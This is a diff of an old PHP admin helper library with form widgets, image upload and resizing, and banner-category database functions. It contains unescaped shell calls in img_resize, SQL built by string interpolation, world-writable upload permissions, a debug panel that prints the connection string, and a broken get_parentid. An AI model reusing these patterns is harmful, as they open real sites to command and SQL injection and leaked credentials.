+       /**
+        * text_box :Creates a input box for text with 35 as default size
+        * @param $name: string name of text box
+        * @param $value: string value of text box
+        * @param $$size = 35 : string size of text box
+        * 
+        * @return void 
+        * @access 
+        **/
+       function text_box($name, $value, $size = 35) {
+               echo '<td class="navtd2"><input type="text" name="'.$name.'" 
+                       value="'.htmlspecialchars($value).'" size="'.$size.'"></td>';
+       }
+
+       /**
+        * form_footer :Closes up the form tag, and includes the submit button
+        * @param $name: string form action string
+        * @param $$suppress = 0: string Method of form
+        * @param $$cs : int colspan for td 
+        * 
+        * @return void 
+        * @access 
+        **/
+       function form_footer($name, $suppress = 0, $cs)
+       {
+               echo '<tr><td colspan="'.$cs.'" align=center>
+                       <input type="SUBMIT" name="Command" value="'.$name.'">';
+               if ($suppress == 1) {
+                       echo '<input type="SUBMIT" name="Command" value="Delete">';
+               }
+               echo '</td>';
+       }
+
+       //      Graphics Libraries
+       /**
+        * process_image 
+        * NOTES:                                                               
+        * This function does the following:                       
+        *
+        * 1) places image into original folder                    
+        *
+        * 2) makes three images from original size and places them
+        * into the RESIZED, MIDSIZED, and THUMB folders
+        * 
+        * @param mixed $image 
+        * @param mixed $image_name 
+        * @access public
+        * @return string
+        */
+       function process_image( $image, $image_name ) {
+               if (!defined('ORIGINAL_PATH')) {
+                       html_error('this not defined original_path', 1);
+               }
+               if(!defined('RESIZED_PATH')) {
+                       html_error('this not defined resized_path', 1);
+               }
+               if(!defined('MIDSIZED_PATH')) {
+                       html_error('this not defined midsized_path', 1);
+               }
+               if(!defined('THUMB_PATH')) {
+                       html_error('this not defined thumb_path', 1);
+               }
+               $image_upload_array = img_upload($image, $image_name, ORIGINAL_PATH);
+               //img_resize($image_upload_array[1],ORIGINAL_PATH.$image_upload_array[0],ITEM_ORIGINAL);
+               img_resize(ORIGINAL_PATH.$image_upload_array[0], RESIZED_PATH . $image_upload_array[0], ITEM_RESIZED);
+               img_resize(RESIZED_PATH.$image_upload_array[0], MIDSIZED_PATH . $image_upload_array[0], ITEM_MIDSIZED);
+               img_resize(MIDSIZED_PATH.$image_upload_array[0], THUMB_PATH . $image_upload_array[0], ITEM_THUMB);
+               $image_name = $image_upload_array[0];
+               return $image_name;
+       }
+
+       /**
+        * img_resize 
+        * resized based on imagick widthxheight given
+        * to scale by maxwidth of 280 use '280>'
+        * which will keep it from making image larger 
+        * 
+        * @param mixed $path2image 
+        * @param mixed $path2thumb 
+        * @param mixed $size 
+        * @access public
+        * @return string
+        */
+       function img_resize($path2image, $path2thumb, $size)
+       {
+               exec('which convert', $output, $return);
+               if ($return == 0) {
+                       $CONVERT = $output[0];
+               } else {
+                       return array('convert path uknown');
+               }
+               $imageName = basename($path2image);
+               $thumbName = basename($path2thumb);
+
+               exec("$CONVERT -quality 100 -scale $size $path2image $path2thumb");
+
+               $img_resize_array = array($imageName, $path2image, $thumbName, $path2thumb);
+               return $img_resize_array;
+       }
+
+       /**
+        * img_upload 
+        * simplified to use the file_upload function with restricted set to true
+        * which will return an array instead of string (as in files)
+        * and only allow png,gif,jpg images to be uploaded
+        * 
+        * @param mixed $form_field 
+        * @param mixed $img_name 
+        * @param mixed $destination_path 
+        * @access public
+        * @return string
+        */
+       function img_upload($form_field, $img_name, $destination_path)
+       {
+               return file_upload($form_field, $img_name, $destination_path, true);
+       }
+
+       /**
+        * file_upload
+        * this will replace the older version and that of img_upload which calls this with extra 
+        * restricted of true 
+        * 
+        * @param mixed $form_field 
+        * @param mixed $file_name 
+        * @param mixed $destination_path 
+        * @access public
+        * @return string
+        */
+       function file_upload($form_field, $file_name, $destination_path, $restricted = false)
+       {
+               $file_name_in_use = false;
+               $file_name = ereg_replace('[!@#$%^&()+={};:\'\"\/ ]', '-', $file_name);
+               if ($restricted) {
+                       $size = getImageSize($form_field);
+                       if (!in_array($size[2], array(1, 2, 3))) {
+                               echo '<p style="background-color:red;color:white;">' .
+                               'The file you uploaded was of an incorect type,
+                                please only upload .gif,.png or .jpg files' .
+                               '<BR CLEAR=ALL>' .
+                               '</p>' .
+                               "Hit your browser's back button to continue" .
+                               '<p>';
+                               $error[0] = 'ERROR';
+                               return $error;
+                       }
+               }
+               if (file_exists($destination_path . $file_name)) {
+                       $file_name_in_use = true;
+               }
+               if ($file_name_in_use == true) {
+                       $new_file_name = mktime() . $file_name;
+                       $new_file_location = $destination_path . $new_file_name;
+                       copy($form_field, $new_file_location);
+                       $file_upload = $new_file_name;
+                       $file_upload_array = array( $new_file_name, $new_file_location);
+               } else {
+                       $new_file_name = $file_name;
+                       $new_file_location = $destination_path.$new_file_name;
+                       copy($form_field, $new_file_location);
+                       $file_upload = $new_file_name;
+                       $file_upload_array = array($new_file_name, $new_file_location);
+               }
+               if (is_file($new_file_location)) {
+                       chmod($new_file_location, 0666);
+               }
+               return ($restricted) ? $file_upload_array : $file_upload;
+       }
+
+       //      Misc. Functions
+
+       /**
+        * http_strip :Strips the http:// part from start of string
+        * @param $&$string : $string
+        * 
+        * @return string $stirng minus http:// in front
+        * @access 
+        **/
+       function http_strip(&$string)
+       {
+               $test_string = strtolower($string);
+               if(substr($test_string, 0, 7) == 'http://') {
+                       $string = substr($string, 7);
+               }
+       }
+
+       /**
+        * footer : used for admin page footer to close out the top function 
+        * 
+        * @return void 
+        * @access 
+        **/
+       function footer()
+       {
+               echo "\n\t</body>\n</html>";    
+       }
+       function show_member_cities( $oldcityid, $dbd )/*{{{*/
+       {
+               $qs = "
+            SELECT city_id AS id, city_name AS name
+              FROM city
+             ORDER BY city_name";
+               if (!$cities = db_exec($dbd, $qs))
+                       html_error(DB_ERROR_MSG.$qs, 0);
+
+               $city = fetchAssoc($cities);
+               ?>
+               <tr>
+                       <td class="navtd" align="right">City:</td>
+                       <td>
+                               <select name="cityid[]">
+                               <option value=""></option>
+                               <?php while ($city = fetchAssoc($cities)) :?>
+                               <option value="<?= $city['id'];?>"<?php if( is_array( $oldcityid ) && in_array( $city['id'], $oldcityid ) ){echo ' selected';}?>><?= $city['name'];?></option>
+                               <?php endwhile;?>
+                               </select>
+                               <input type="hidden" name="oldcityid" value="<?php 
+                               if( is_array( $oldcityid ) ){
+                                       echo implode( ":", $oldcityid );
+                               }
+                               ?>">
+                       </td>
+               </tr>
+               <?php
+       }/*}}}*/
+       function show_multi_cats($bid)/*{{{*/
+       {
+               try {
+                       $dbh = Toolkit_Database::getInstance();
+
+                       echo "<tr><th colspan=2>Categories</th></tr>";
+                       multiple_select();
+                       //      If the id variable is in the GET array, then we know
+                       //      we are editing an existing banner. If this is the case
+                       //      then we need to select all the pages that this banner
+                       //      is attached to. 
+                       //      To do this we are going to create two arrays of all the 
+                       //      catid's associated with this banner in the DB. One for
+                       //      the regular category pages and one for the member pages.
+                       if (isset($_GET['id']) && !empty($_GET['id'])) {
+                               //      Select all the pages that the banner is attached to
+                               $sql = "
+                                       SELECT *
+                                         FROM banner_buscat
+                                        WHERE bannerid = :bid";
+                               $stmt = $dbh->prepare($sql);
+                               $stmt->bindParam(':bid', $bid, PDO::PARAM_INT);
+                               $stmt->execute();
+
+                               //      We need to create two array, one to hold all the regular
+                               //      pages this banner is attached to.  And another to hold
+                               //      All the members pages this banner is attached to.
+                               //      Loop though all the pages we just got and check to 
+                               //      see if the flag is set for the membercat.  If it is, 
+                               //      then we have a member page, otherwise we just have 
+                               //      a normal category page.
+                               while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                                       //      Check to see if its a member page or not and assign
+                                       //      to the appropriate array.
+                                       if ($row['membercat'] == 't') {
+                                               $memberPages[] = $row['catid'];
+                                       } else {
+                                               $catPages[] = $row['catid'];
+                                       }
+                               }
+                       }
+                       //      Store all the catid's of the pages we select.
+                       //      that way when we update we know what the original
+                       //      pages where.  an 'M' preceding the catid denotes
+                       //      the page is a member category page.
+                       $oldCats = array();
+
+                       //      Create the category part of the select list
+                       //      if we are editing a banner and any of the category page id's 
+                       //      are in the catPages array then we know we need to highlight them.
+
+                       //      First loop through all the parent category pages, and then for each
+                       //      Parent page get 1st sublevel children pages and add them to the list.
+
+                       //      Get main categories
+                       //      excluding the member categories
+                       $cats  = "
+                SELECT id, category
+                  FROM bus_category
+                 WHERE parent = 0
+                   AND active = true
+                 ORDER BY pos";
+
+                       foreach ($dbh->query($cats) as $mainCat) {
+
+                               //      Check if this page was previously selected.  If it was then
+                               //      the id of the page will be in the catPages array and we know to
+                               //      select this page.
+                               if (is_array($catPages) && in_array($mainCat['id'], $catPages)) {
+                                       $oldCats[] = $mainCat['id'];
+                               }
+                               //      Tidy up the text we are going to display in the select list.
+                               $display = (strlen($mainCat['category']) > 40) ?
+                                       substr($mainCat['category'], 0, 40) . '&hellip;' :
+                                       $mainCat['category'];
+                               $options[$mainCat['id']] = $display;
+
+                               //      Get all the categories 1st sublevel children to add to the list.
+                               $subCats = "
+                     SELECT id, category
+                       FROM bus_category
+                      WHERE parent = {$mainCat['id']}
+                        AND active = true
+                                         ORDER BY pos";
+
+                               //      Loop through all the 1st sublevel children and add them to the list
+                               //      if the children are in the catPages array, then we know we are 
+                               //      editing an existing array and these pages were previously selected and
+                               //      need to be selected again.
+                               foreach ($dbh->query($subCats) as $subCat) {
+                                       if (is_array($catPages) && in_array($subCat['id'], $catPages)) {
+                                               $oldCats[] = $subCat['id'];
+                                       }
+                                       //      Tidy up the text we are going to display in the select list.
+                                       $display = (strlen($subCat['category']) > 36) ?
+                                               substr($subCat['category'], 0, 36).'&hellip;' :
+                                               $subCat['category'];
+
+                                       $options[$subCat['id']] = $display;
+                               }
+                       }
+
+                       //      We need to create the members pages in the select list
+
+                       //      Get all the member category information
+                       $memCats = "
+                                SELECT *, category_id AS id, name AS category
+                                  FROM category
+                                 WHERE parent_id = 0";
+                       //      Loop through all the categories we got and print them and their
+                       //      sub-level categories into the select list.
+                       foreach ($dbh->query($memCats) as $memCat) {
+
+                               //      Check if this page was previously selected.  If it was then
+                               //      the id of the page will be in the memberPages array and we know to
+                               //      select this page.
+                               if (is_array($memberPages) && in_array($memCat['id'], $memberPages)) {
+                                       $oldCats[] = "M{$memCat['id']}";
+                               }
+
+                               //      Trim up the category name if needed and prepare it to be printed out.
+                               $display = (strlen($memCat['category']) > 40) ?
+                                       substr($memCat['category'], 0, 40).'&hellip;' :
+                                       $memCat['category'];
+                               $options["M{$memCat['id']}"] = $display;
+
+                               //      Get the member category children so we can print them
+                               //      out into the select list.
+                               $subMemCats = "
+                                        SELECT category_id AS id, name AS category 
+                                          FROM category
+                                         WHERE parent_id = {$memCat['id']}
+                                         ORDER BY pos";
+
+                               //      Loop through all the sub level categories we got and print
+                               //      them out.
+                               foreach ($dbh->query($subMemCats) as $subMemCat) {
+                                       //      print out the sublevel category. The only difference
+                                       //      we are doing here vs the main page categories is including
+                                       //      an M preceding the sub category id to denote this page belongs
+                                       //      to a member category.  This also will help prevent conflicting 
+                                       //      id values from happening between page catid's and member page catid's
+                                       if (is_array($memberPages) && in_array($subMemCat['id'], $memberPages)) {
+                                               //      The M denotes a member category page.
+                                               $oldCats[]= "M{$subMemCat['id']}";
+                                       }
+                                       $display = (strlen($subMemCat['category']) > 36) ?
+                                               substr($subMemCat['category'], 0, 36).'&hellip;' :
+                                               $subMemCat['category'];
+                                       $options["M{$subMemCat['id']}"] = $display;
+                               }
+                       }
+                       $pages = new HTML_Select('catid[]', 10, true);
+                       $res = $pages->loadArray(array_flip($options));
+                       if (PEAR::isError($res)) {
+                               die('Error processing your banner. Please try again later!');
+                       }
+                       $pages->setSelectedValues($oldCats);
+
+                       echo '<tr> <td class="navtd" align="right">Categories:</td> <td>';
+                       echo $pages->toHtml(false);
+                       echo '</td></tr>';
+                       echo "<tr><td colspan=2><hr noshade></td></tr>";
+
+                       unset($dbh, $stmt);
+               } catch (PDOException $e) {
+                       handleError($e);
+               }
+       }/*}}}*/
+       function multiple_select()/*{{{*/
+       {
+               echo "<tr><td colspan=2 align=\"center\" class=\"accenttext\">
+                       Hold down the Ctrl key to select or unselect more than one at a time.
+                       Hold down the Shift key to select a range.      
+                       </td></tr>";
+       }/*}}}*/
+       function fetchAssoc ($res, $row = false)/*{{{*/
+       {
+               if (!is_resource($res))
+                       return false;
+               else
+                       return ($row === false) ? @pg_fetch_assoc($res) : @pg_fetch_assoc($res, $row);
+       }/*}}}*/
+       function update_banner_buscat($id, array $catid)/*{{{*/
+       {
+               //      If the list of pages to display on is not an array
+               //      then return immediatley
+               if (!is_array($catid)) {
+                       return false;
+               }
+
+               try {
+                       $dsn = 'pgsql:' . CONN_STR;
+                       $dbh = new PDO($dsn);
+                       $dbh->setAttribute(PDO::ATTR_ERRMODE,
+                               PDO::ERRMODE_EXCEPTION);
+                       $sql = "
+                               DELETE FROM banner_buscat
+                               WHERE bannerid = :bid";
+                               $stmt = $dbh->prepare($sql);
+                       $stmt->bindParam(':bid', $id, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       $sql = "
+                               INSERT INTO banner_buscat(catid, bannerid, pos, membercat)
+                               VALUES (:catid, :bid, :pos, :memcat)";
+                       $stmt = $dbh->prepare($sql);
+                       //      Used to determine the positioning of the new banner;
+                       $sql = "
+                SELECT count(*) + 1 AS pos
+                  FROM banner_buscat
+                 WHERE catid     = :catid
+                   AND membercat = :memcat";
+                       $position = $dbh->prepare($sql);
+                       foreach ($catid as $bid) {
+                               $memCat = (substr($bid, 0, 1) == 'M') ? true : false;
+                               $catid = ($memCat) ? substr($bid, 1) : $bid;
+
+                               $position->bindParam(':catid', $catid, PDO::PARAM_INT);
+                               $position->bindParam(':memcat', $memCat, PDO::PARAM_BOOL);
+                               $position->execute();
+                               $banner = $position->fetch(PDO::FETCH_ASSOC);
+
+                               $stmt->bindParam(':bid', $id, PDO::PARAM_INT);
+                               $stmt->bindParam(':catid', $catid, PDO::PARAM_INT);
+                               $stmt->bindParam(':pos', $banner['pos'], PDO::PARAM_INT);
+                               $stmt->bindParam(':memcat', $memCat, PDO::PARAM_BOOL);
+                               $stmt->execute();
+                       }
+                       unset($dbh, $stmt, $position);
+               } catch (PDOException $e) {
+                       handleError($e, true);
+               }
+       }/*}}}*/
+       function update_banner_city( $id, $city, $oldcity = '' ){/*{{{*/
+               /*
+               echo '<pre>city';
+               print_r( $city );
+               echo '</pre>';
+               echo '<pre>oldcity';
+               print_r( $oldcity );
+               echo '</pre>';
+               exit();
+               */
+               if (!is_array($city)){
+                       $query = "delete from banner_city where bannerid = $id;";
+                       db_auto_exec( $query );
+               }else{
+                       if (empty($oldcity)){
+                               $oldcity = array();
+                       }
+                       //      compare the differences between the old set of pages
+                       //      to display on along with new set of pages to display on.
+                       $test1 = count(array_diff($city, $oldcity));
+                       $test2 = count(array_diff($oldcity, $city));
+                       //      Create an array of the pages to drop the banner from.
+                       $list_drop = array_diff($oldcity, $city);
+                       //      Create an array of the pages to add the banner to.
+                       $list_add = array_diff($city, $oldcity);
+                       //      If there is any difference in between the arrays of
+                       //      old pages and new pages this signals there is either 
+                       //      pages to add or remove from the DB.
+                       if (($test1 + $test2) > 0){
+                               foreach ($list_drop as $key => $value){
+                                       if( is_numeric( $value ) ){
+                                               $query = "delete from banner_city where bannerid = $id and cityid = $value";
+                                               db_auto_exec( $query );
+                                       }
+                               }
+                               foreach ($list_add as $key => $value){
+                                       if( is_numeric( $value ) ){
+                                               $query = "insert into banner_city (bannerid,cityid) values ($id,$value);";
+                                               db_auto_exec( $query );
+                                       }
+                               }
+                       }
+               }
+       }/*}}}*/
+
+       /**
+        * top :Output the starting html and admin table tags
+        * @param $message: The title
+        * @param $hp: The help file to use
+        * @param $$hp2 = NULL : The help file to use (links to gaslightmedia.com)
+        * 
+        * @return void 
+        * @access 
+        **/
+       function top($message, $hp, $hp2 = NULL)
+       {
+               if ($hp2 != '') {
+                       $help_guide = '<div id="glm-manual">';
+                       /*
+                          $help_guide = '<div id="glm-manual"><a id="manual-html"
+                          href="http://www.gaslightmedia.com/manuals/html/'.$hp2.'.html" 
+                          target="_blank">Online Help Guide</a>&nbsp;';
+                        */
+                       $help_guide .= '<a id="manual-pdf"
+                               href="http://www.gaslightmedia.com/manuals/pdf/'.$hp2.'.pdf" 
+                               target="_blank">Printable Help Guide</a></div>';
+               }
+               $out = '
+                       <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+                       "http://www.w3.org/TR/html4/strict.dtd">
+                       <html>
+                       <head>
+                               <title>Untitled</title>
+                               <meta http-equiv="content-type" content="text/html;charset=utf-8">
+                               <link rel="stylesheet" type="text/css" href="../main.css">
+                       <script type="text/javascript" src="'.BASE_URL.'libjs/jquery-1.3.2.min.js"></script>
+                       </head>
+                       <body>
+                               <h1>'.$message.'</h1>   
+                               ' . $help_guide;
+               echo $out;
+       }
+
+       /**
+        * top2 : alias to top()
+        * @param $message: message title 
+        * @param $hp: help file 
+        * @param $$hp2 = NULL : gaslight help file
+        * 
+        * @return 
+        * @access 
+        **/
+       function top2($message, $hp,$hp2 = NULL) {
+               // make this an alias to top()
+               // by calling top instead of adding extra code
+               top($message, $hp, $hp2);
+
+       }
+
+       /********************************************************************************
+        *
+        *      DO NOT EDIT THIS SECTION
+        *
+        ********************************************************************************/
+
+       if ($DEBUG) {
+               echo '<CENTER>
+                       <TABLE BORDER=0 CELLPADDING=3 CELLSPACING=1 WIDTH=600 BGCOLOR="#000000" ALIGN="CENTER">
+                       <TR VALIGN="middle" BGCOLOR="#9999CC">
+                       <TD COLSPAN="2" ALIGN="center"><H1>Portable Site Data - setup.phtml </H1></TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>CVS Version Id:</B></TD>
+                       <TD ALIGN="left">$Id: setup_functions.phtml,v 1.2 2009/12/15 20:18:15 jamie Exp $</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>SITENAME</B></TD>
+                       <TD ALIGN="left">'.SITENAME.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>BASE</B></TD>
+                       <TD ALIGN="left">'.BASE.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>UP_BASE</B></TD>
+                       <TD ALIGN="left">'.UP_BASE.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>HELP_BASE</B></TD>
+                       <TD ALIGN="left">'.HELP_BASE.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>IMG_BASE</B></TD>
+                       <TD ALIGN="left">'.IMG_BASE.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>URL_BASE</B></TD>
+                       <TD ALIGN="left">'.URL_BASE.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>CONN_STR</B></TD>
+                       <TD ALIGN="left">'.CONN_STR.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>STYLE</B></TD>
+                       <TD ALIGN="left">'.STYLE.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>ORIGINAL_PATH</B></TD>
+                       <TD ALIGN="left">'.ORIGINAL_PATH.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>RESIZED_PATH</B></TD>
+                       <TD ALIGN="left">'.RESIZED_PATH.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>MIDSIZED_PATH</B></TD>
+                       <TD ALIGN="left">'.MIDSIZED_PATH.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>THUMB_PATH</B></TD>
+                       <TD ALIGN="left">'.THUMB_PATH.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>ORIGINAL</B></TD>
+                       <TD ALIGN="left">'.ORIGINAL.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>RESIZED</B></TD>
+                       <TD ALIGN="left">'.RESIZED.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>MIDSIZED</B></TD>
+                       <TD ALIGN="left">'.MIDSIZED.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>THUMB</B></TD>
+                       <TD ALIGN="left">'.THUMB.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>$CALLED_FROM_DIR</B></TD>
+                       <TD ALIGN="left">'.$CALLED_FROM_DIR.'&nbsp;</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>$BASE_PATH</B></TD>
+                       <TD ALIGN="left">'.$BASE_PATH.'</TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>$BASE_URL</B></TD>
+                       <TD ALIGN="left"><A HREF="'.$BASE_URL.'">'.$BASE_URL.'</A></TD>
+                       </TR>
+                       <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                       <TD BGCOLOR="#CCCCFF" ><B>$BASE_SECURE_URL</B></TD>
+                       <TD ALIGN="left">'.$BASE_SECURE_URL.'</TD>
+                       </TR>
+                       </TABLE>
+                       &nbsp;
+               <P>
+                       <HR WIDTH="600">
+                       <P>
+                       </CENTER>
+                       ';
+       }
+
+       /**
+        * date_entry : Generate the select boxes for date entry
+        * month-day-year as drop down select
+        * @param $month: 
+        * @param $day: 
+        * @param $year: 
+        * @param $month_name: name of select month 
+        * @param $day_name: name of select day 
+        * @param $$year_name : name of select year
+        * 
+        * @return 
+        * @access 
+        **/
+       function date_entry($month, $day, $year, $month_name, $day_name, $year_name, $onChange = NULL)
+       {
+               $cur_date = getdate();
+
+               if ($month == '') {
+                       $month = $cur_date['mon'];
+               }
+               if($day == '') {
+                       $day = $cur_date['mday'];
+               }       
+               if($year == '') {
+                       $year = $cur_date['year'];
+               }
+               $date = '<select id="'.$month_name.'" name="'.$month_name.'" '.$onChange.'>';
+               for ($i = 1; $i < 13; ++$i) {
+                       $date .= '<option value="';
+                       if ($i < 10) {
+                               $date .= '0';
+                       }
+                       $date .= $i.'"';
+                       if ($i == $month) {
+                               $date .= ' selected';
+                       }
+                       $date .= ">$i"; 
+               }
+               $date .= '</select>';
+               $date .= '<select id="'.$day_name.'" name="'.$day_name.'" '.$onChange.'>';
+               for ($i = 1; $i < 32; ++$i) {
+                       $date .= '<option value="';
+                       if ($i < 10) {
+                               $date .= "0";
+                       }
+                       $date .= $i.'"';
+                       if($i == $day) {
+                               $date .= ' selected';
+                       }
+                       $date .= ">$i"; 
+               }       
+               $date .= '</select>';
+               $date .= '<select id="'.$year_name.'" name="'.$year_name.'" '.$onChange.'>';
+               for ($i = 2000; $i < 2023; ++$i) {
+                       $date .= '<option value="'.$i.'"';
+                       if ($i == $year) {
+                               $date .= ' selected';
+                       }
+                       $date .= ">$i";
+               }
+               $date .= '</select>';
+               return $date;
+       }       
+
+       /**
+        * contact_date_entry : build select boxes for date entry going backwords in years
+        * @param $month: 
+        * @param $day: 
+        * @param $year: 
+        * @param $month_name: name of select month
+        * @param $day_name: name of select day
+        * @param $$year_name : name of select year
+        * 
+        * @return void
+        * @access 
+        **/
+       function contact_date_entry($month, $day, $year, $month_name, $day_name, $year_name)
+       {
+               $cur_date = getdate();
+
+               if ($month == '') {
+                       $month = $cur_date['mon'];
+               }
+               if ($day == '') {
+                       $day = $cur_date['mday'];
+               }       
+               if ($year == '') {
+                       $year = $cur_date['year'];
+               }
+               $date = '<select name="'.$month_name.'">';
+               for ($i = 1; $i < 13; ++$i) {
+                       $date .= '<option value="';
+                       if ($i < 10) {
+                               $date .= '0';
+                       }
+                       $date .= $i.'"';
+                       if ($i == $month) {
+                               $date .= ' selected';
+                       }
+                       $date .= ">$i"; 
+               }
+               $date .= '</select>';
+               $date .= '<select name="'.$day_name.'">';
+               for ($i = 1; $i < 32; ++$i) {
+                       $date .= '<option value="';
+                       if($i < 10) {
+                               $date .= '0';
+                       }
+                       $date .= $i.'"';
+                       if ($i == $day) {
+                               $date .= ' selected';
+                       }
+                       $date .= ">$i"; 
+               }       
+               $date .= '</select>';
+               $date .= '<select name="'.$year_name.'">';
+               $ystart = $cur_date['year'] - 10;
+               for ($i = $ystart; $i <= $year; ++$i) {
+                       $date .= '<option value="'.$i.'"';
+                       if ($i == $year) {
+                               $date .= ' selected';
+                       }
+                       $date .= ">$i";
+               }
+               $date .= '</select>';
+               return $date;
+       }
+
+       /**
+        * time_entry : build select boxes for time entry
+        * @param $H: 
+        * @param $m: 
+        * @param $F: 
+        * @param $H_name: name of select hour
+        * @param $m_name: name of select min
+        * @param $$F_name : name of select sec
+        * 
+        * @return 
+        * @access 
+        **/
+       function time_entry($H, $m, $F, $H_name, $m_name, $F_name)
+       {
+               $cur_date = getdate();
+               if ($H == '') {
+                       $H = $cur_date['hours'];
+               }
+               if ($m == '') {
+                       $m = $cur_date['minutes'];
+               }       
+               if ($H > 12) {
+                       $F = 'PM';
+                       $H = $H - 12;
+               }
+               $time = "Hr:<select name=\"$H_name\" size=\"1\">";
+               for ($i = 1; $i <= 12; ++$i) {
+                       $time .= "<option value=\"";
+                       if ($i < 10) {
+                               $time .= "0";
+                       }
+                       $time .= "$i\"";
+                       if ($i == $H) {
+                               $time .= " selected";
+                       }
+                       $time .= ">$i\n";       
+               }
+               $time .= "</select>\n";
+               $time .= "Min:<select name=\"$m_name\" size=\"1\">";
+               for ($i = 0; $i < 60; $i = $i + 15) {
+                       $time .= "<Option value=\"";
+                       if ($i < 10) {
+                               $time .= "0";
+                       }
+                       $time .= "$i\"";
+                       if ($i == $m) {
+                               $time .= " selected";
+                       }
+                       $time .= ">";
+                       if ($i < 10) {
+                               $time .= "0";
+                       }
+                       $time .= "$i\n";        
+               }       
+               $time .= "</select>";
+               $time .= "<select name=\"$F_name\" size=\"1\">";
+               $time .= "<option value=\"AM\"";
+               if ($F == "AM") {
+                       $time .= " selected";
+               }
+               $time .= ">AM\n";
+               $time .= "<option value=\"PM\"";
+               if ($F == "PM") {
+                       $time .= " selected";
+               }
+               $time .= ">PM\n";
+               $time .= "</select>\n";
+               return $time;
+       }
+
+       /**
+        * get_parentid: get the (highest level) parent category for this id
+        * @param $id: id from bus_category table
+        * 
+        * @return int parent  
+        * @access 
+        **/
+       function get_parentid($id)
+       {
+               static $parentshow;
+               if ($id == 0) {
+                       return 0;               
+               }
+               if (!is_array($parentshow)) {
+                       $sql = "
+                               SELECT parent
+                                 FROM bus_category
+                                WHERE id = $id";
+                       $parentrow = db_auto_get_data($qs);       
+               }
+               if ($parentrow[0]['parent'] == 0) {
+                       return $id;
+               } else {
+                       return get_parentid($parentrow[0]['parent']);
+               }
+       }
+
+       /**
+        * build_picklist:Builds a pick list from an array
+        * @param $fieldname: fieldname field name for select
+        * @param $data: data array of data
+        * @param $selected: selected witch element is selected
+        * @param $$type = "standard": type Standard,multi
+        * @param $$auto = 0: auto
+        * @param $$width = NULL : width width controlled by css
+        * 
+        * @return void 
+        * @access 
+        **/
+       function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL ) {
+               if(!is_array($selected)) {
+                       $sel[0] = $selected;
+               } else {
+                       $sel = $selected;
+               }
+               if($auto == 1)
+                       $autosubmit = "onChange=\"form.submit()\"";
+               if($width)
+                       $autosubmit .= "style=\"width:".$width."px;\"";
+               switch( $type ) {
+                       case "multiple":
+                               $str = "<select name=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+                       while( list($key, $val) = each($data) ) {
+                               if( in_array($key,$sel) ) {
+                                       $select = " selected ";
+                               }
+                               else
+                                       $select = "";
+                               $str .= "       <option value=\"$key\"".$select.">$val\n";
+                       }
+                       break;
+                       case "simple":
+                               $str = "<select name=\"$fieldname\" ".$autosubmit.">\n";
+                       for( $i=0 ; $i<count($data) ; $i++ ) {
+                               $select = (in_array($data[$i],$sel)) ? " selected ":"";
+                               $str .= "       <option value=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+                       }
+                       break;
+
+                       case "standard":
+                       default:
+                               $str = "<select name=\"$fieldname\" ".$autosubmit.">\n";
+                               while( list($key, $val) = each($data) ) {
+                                       $select = (in_array($key,$sel)) ? " selected ":"";
+                                       $str .= "       <option value=\"$key\"".$select.">$val\n";
+                               }
+                               break;
+               }
+               $str .= "</select>\n";
+
+               return $str;
+
+       }
+
+       /**
+        * create_page_links:Create prev and next links 
+        * to page through the results.
+        * @param $totalnum: The total result of the query
+        * @param $num: The total result for the page
+        * @param $$start=0: The starting num defaults to 0
+        * @param $params: variables to add to the url
